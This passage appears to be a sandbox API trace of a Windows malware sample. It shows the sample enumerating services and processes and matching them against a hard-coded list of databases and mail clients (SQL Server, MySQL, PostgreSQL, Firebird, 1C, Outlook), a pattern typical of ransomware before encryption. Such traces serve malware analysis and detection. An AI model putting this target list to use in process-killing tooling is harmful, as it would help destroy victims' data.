(lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x73fa48 [0043.209] EnumServicesStatusExW (in: hSCManager=0x73fa48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 0 [0043.214] GetLastError () returned 0xea [0043.214] RtlAllocateHeap (HeapHandle=0x6c0000, Flags=0x0, Size=0x11e4) returned 0x7b4258 [0043.214] EnumServicesStatusExW (in: hSCManager=0x73fa48, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x7b4258, cbBufSize=0x11e4, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x7b4258, pcbBytesNeeded=0x224ff44, lpServicesReturned=0x224ff5c, lpResumeHandle=0x0) returned 1 [0043.224] CloseServiceHandle (hSCObject=0x73fa48) returned 1 [0043.224] lstrlenW (lpString="Appinfo") returned 7 [0043.224] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Appinfo") returned 1 [0043.224] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Appinfo") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="Appinfo") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="Appinfo") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Appinfo") returned 1 [0043.225] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0043.225] lstrlenW (lpString="AudioSrv") returned 8 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0043.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0043.225] lstrlenW (lpString="BFE") returned 3 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0043.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0043.225] lstrlenW (lpString="CryptSvc") returned 8 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0043.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0043.225] lstrlenW (lpString="CscService") returned 10 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0043.225] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0043.225] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0043.225] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0043.225] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0043.225] lstrlenW (lpString="DcomLaunch") returned 10 [0043.225] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0043.226] lstrlenW (lpString="Dhcp") returned 4 [0043.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0043.226] lstrlenW (lpString="Dnscache") returned 8 [0043.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0043.226] lstrlenW (lpString="DPS") returned 3 [0043.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0043.226] lstrlenW (lpString="eventlog") returned 8 [0043.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0043.226] lstrlenW (lpString="EventSystem") returned 11 [0043.226] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0043.226] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0043.226] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0043.226] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0043.226] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0043.227] lstrlenW (lpString="gpsvc") returned 5 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0043.227] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0043.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0043.227] lstrlenW (lpString="iphlpsvc") returned 8 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0043.227] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0043.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0043.227] lstrlenW (lpString="LanmanServer") returned 12 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0043.227] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0043.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0043.227] lstrlenW (lpString="LanmanWorkstation") returned 17 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0043.227] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0043.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0043.227] lstrlenW (lpString="lmhosts") returned 7 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0043.227] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0043.227] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0043.227] lstrlenW (lpString="MMCSS") returned 5 [0043.227] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0043.227] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0043.227] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0043.228] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0043.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0043.228] lstrlenW (lpString="MpsSvc") returned 6 [0043.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0043.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0043.228] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0043.228] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0043.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0043.228] lstrlenW (lpString="Netman") returned 6 [0043.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0043.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0043.228] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0043.228] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0043.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0043.228] lstrlenW (lpString="netprofm") returned 8 [0043.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0043.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0043.228] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0043.228] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0043.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0043.228] lstrlenW (lpString="NlaSvc") returned 6 [0043.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0043.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0043.228] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0043.228] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0043.228] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0043.228] lstrlenW (lpString="nsi") returned 3 [0043.228] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0043.228] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0043.229] lstrlenW (lpString="PcaSvc") returned 6 [0043.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0043.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0043.229] lstrlenW (lpString="PlugPlay") returned 8 [0043.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0043.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0043.229] lstrlenW (lpString="Power") returned 5 [0043.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0043.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0043.229] lstrlenW (lpString="ProfSvc") returned 7 [0043.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0043.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0043.229] lstrlenW (lpString="RpcEptMapper") returned 12 [0043.229] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.229] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0043.229] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0043.229] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0043.229] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0043.229] lstrlenW (lpString="RpcSs") returned 5 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0043.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0043.230] lstrlenW (lpString="SamSs") returned 5 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0043.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0043.230] lstrlenW (lpString="Schedule") returned 8 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0043.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0043.230] lstrlenW (lpString="SENS") returned 4 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0043.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0043.230] lstrlenW (lpString="ShellHWDetection") returned 16 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0043.230] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0043.230] lstrlenW (lpString="Spooler") returned 7 [0043.230] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0043.230] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0043.230] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0043.230] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0043.231] lstrlenW (lpString="SysMain") returned 7 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0043.231] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0043.231] lstrlenW (lpString="Themes") returned 6 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0043.231] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0043.231] lstrlenW (lpString="TrkWks") returned 6 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0043.231] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0043.231] lstrlenW (lpString="UxSms") returned 5 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0043.231] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0043.231] lstrlenW (lpString="WdiServiceHost") returned 14 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0043.231] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0043.231] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0043.231] lstrlenW (lpString="WdiSystemHost") returned 13 [0043.231] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.231] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0043.231] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0043.232] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0043.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0043.232] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0043.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0043.232] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0043.232] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0043.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0043.232] lstrlenW (lpString="Winmgmt") returned 7 [0043.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0043.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0043.232] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0043.232] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0043.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0043.232] lstrlenW (lpString="WPDBusEnum") returned 10 [0043.232] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.232] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0043.232] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0043.232] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0043.232] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0043.232] HeapFree (in: hHeap=0x6c0000, dwFlags=0x0, lpMem=0x7b4258 | out: hHeap=0x6c0000) returned 1 [0043.232] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x168 [0043.311] Process32FirstW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0043.311] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4f, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0043.312] lstrlenW (lpString="System") returned 6 [0043.312] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0043.312] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0043.312] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0043.312] lstrlenW (lpString="smss.exe") returned 8 [0043.312] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0043.312] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0043.312] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0043.313] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.313] lstrlenW (lpString="csrss.exe") returned 9 [0043.313] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.313] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.313] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.313] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.313] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.313] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0043.313] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x17c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0043.314] lstrlenW (lpString="wininit.exe") returned 11 [0043.314] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0043.314] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0043.314] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x188, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x174, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0043.314] lstrlenW (lpString="csrss.exe") returned 9 [0043.314] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0043.314] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0043.314] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0043.314] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0043.314] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0043.314] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0043.315] Process32NextW (in: hSnapshot=0x168, lppe=0x224fd34 | out: lppe=0x224fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, 